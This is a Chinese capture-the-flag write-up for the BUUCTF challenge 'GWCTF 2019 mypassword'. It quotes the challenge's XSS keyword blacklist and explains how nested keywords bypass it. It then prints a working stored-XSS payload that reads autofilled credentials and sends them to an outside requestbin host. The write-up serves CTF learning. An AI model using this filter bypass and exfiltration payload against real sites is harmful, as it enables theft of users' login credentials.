BUUCTF__[GWCTF 2019]mypassword_题解

题解

  • 开局像极了注入,但却是个XSS。
  • 第一步信息收集,没有找到直接的提示或者后端源码。但是注册登录上去在feedback.php 有一个输入反馈,并且在页面存在注释。
			if(is_array($feedback)){
				echo "<script>alert('反馈不合法');</script>";
				return false;
			}
			$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
			foreach ($blacklist as $val) {
		        while(true){
		            if(stripos($feedback,$val) !== false){
		                $feedback = str_ireplace($val,"",$feedback);
		            }else{
		                break;
		            }
		        }
		    }
  • 简单的关键字置换为空,注意 str_ireplace函数,该函数单次匹配递归匹配,但它关键字是一个数组,遍历数组,每次一个关键字,那么就能通过简单的双写关键字绕过,但是不能为同一个关键字。比如简单的<scriphostt>alert(1)</scriphostt>,点击List列表中编号就能弹窗。由被过滤的关键字都是XSS常用的来反推可能是个XSS题目。
  • 第二点,利用XSS来干啥?
  • 容易忽略一个地方,在登录页面中的/js/login.js
if (document.cookie && document.cookie != '') {
	var cookies = document.cookie.split('; ');
	var cookie = {};
	for (var i = 0; i < cookies.length; i++) {
		var arr = cookies[i].split('=');
		var key = arr[0];
		cookie[key] = arr[1];
	}
	if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
		document.getElementsByName("username")[0].value = cookie['user'];
		document.getElementsByName("password")[0].value = cookie['psw'];
	}
}
  • 代码会把cookie中的username和password填进当前表单
  • 如果我们写一个页面,页面中有表单,再调用这个js文件,cookie中的数据被填入表单,再用js获取页面表单内容,发送请求带出。就能得到管理员cookie。
  • poc,提交反馈
<inpcookieut type="text" name="username"></inpcookieut>
<inpcookieut type="text" name="password"></inpcookieut>
<scricookiept scookierc="./js/login.js"></scricookiept>
<scricookiept>
	var uname = documcookieent.getElemcookieentsByName("username")[0].value;
	var passwd = documcookieent.getElemcookieentsByName("password")[0].value;
	var res = uname + " " + passwd;
	documcookieent.locacookietion="http://http.requestbin.buuoj.cn/*/?a="+res;
</scricookiept>
  • 先访问http://http.requestbin.buuoj.cn/点击 Create a RequestBin获取一个链接,将poc中的http://http.requestbin.buuoj.cn/*/ 中的*改为自己的标识符就行。过一会刷新。
    在这里插入图片描述
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值